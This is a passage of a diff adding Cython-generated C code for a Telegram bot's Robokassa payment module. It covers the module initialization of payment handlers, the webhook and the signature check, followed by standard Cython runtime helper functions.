<<<<<<<<<<<<<< + * algorithm=HashAlgorithm.md5, + * is_test=ROBOKASSA_TEST_MODE, + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ROBOKASSA_PASSWORD2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_password2, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/robokassa_pay.py":43 + * password1=ROBOKASSA_PASSWORD1, + * password2=ROBOKASSA_PASSWORD2, + * algorithm=HashAlgorithm.md5, # <<<<<<<<<<<<<< + * is_test=ROBOKASSA_TEST_MODE, + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_HashAlgorithm); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_md5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_algorithm, __pyx_t_3) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":44 + * password2=ROBOKASSA_PASSWORD2, + * algorithm=HashAlgorithm.md5, + * is_test=ROBOKASSA_TEST_MODE, # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ROBOKASSA_TEST_MODE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_is_test, __pyx_t_3) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":39 + * + * if ROBOKASSA_ENABLE: + * robokassa = Robokassa( # <<<<<<<<<<<<<< + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":47 + * ) + * + * logger.info("Robokassa initialized with login: {}", ROBOKASSA_LOGIN) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_info); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ROBOKASSA_LOGIN); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_kp_u_Robokassa_initialized_with_login); + __Pyx_GIVEREF(__pyx_kp_u_Robokassa_initialized_with_login); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Robokassa_initialized_with_login)) __PYX_ERR(0, 47, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":38 + * + * + * if ROBOKASSA_ENABLE: # <<<<<<<<<<<<<< + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, + */ + } + + /* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_1generate_payment_link, 0, __pyx_n_s_generate_payment_link, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__33)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_generate_payment_link, __pyx_t_3) < 0) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_pay_robokassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_robokassa, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__2)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__35, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_6process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__7)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_4) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_9robokassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_robokassa_webhook, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__20)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_robokassa_webhook, __pyx_t_4) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_12check_payment_signature, 0, __pyx_n_s_check_payment_signature, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__39)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_payment_signature, __pyx_t_4) < 0) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyObject_RichCompare(__pyx_t_3, __pyx_n_u_enter_custom_amount_robokassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_selection, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_selection, __pyx_t_4) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_handle_custom_amount_input, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_handle_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.robokassa_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.robokassa_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 